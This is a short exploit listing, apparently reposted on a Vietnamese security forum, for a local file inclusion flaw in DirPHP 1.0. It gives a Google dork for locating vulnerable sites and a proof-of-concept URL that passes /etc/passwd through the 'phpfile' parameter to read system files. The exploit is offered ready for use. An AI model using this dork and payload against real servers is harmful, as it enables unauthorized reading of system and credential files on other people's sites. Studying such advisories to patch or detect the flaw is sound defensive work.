DirPHP 1.0 - LFI Vulnerability

Bài liên quan

• [TUT] Local File Inclusion (LFI)
• [TUT] Remote File Inclusion (RFI)

# Exploit Title: DirPHP - version 1.0 Local File Inclusion

# Google Dork: intext:DirPHP - version 1.0 - Created & Maintained by Stuart

Montgomery

# Date: 7/26/14

# Exploit Author: -Chosen-

# Contact: dark[dot]binary[dot]code@gmail.com

# Version: DirPHP - Version 1.0

# Tested on: *nix

 

PoC:

 

http://site.com/path/index.php?phpfile=/etc/passwd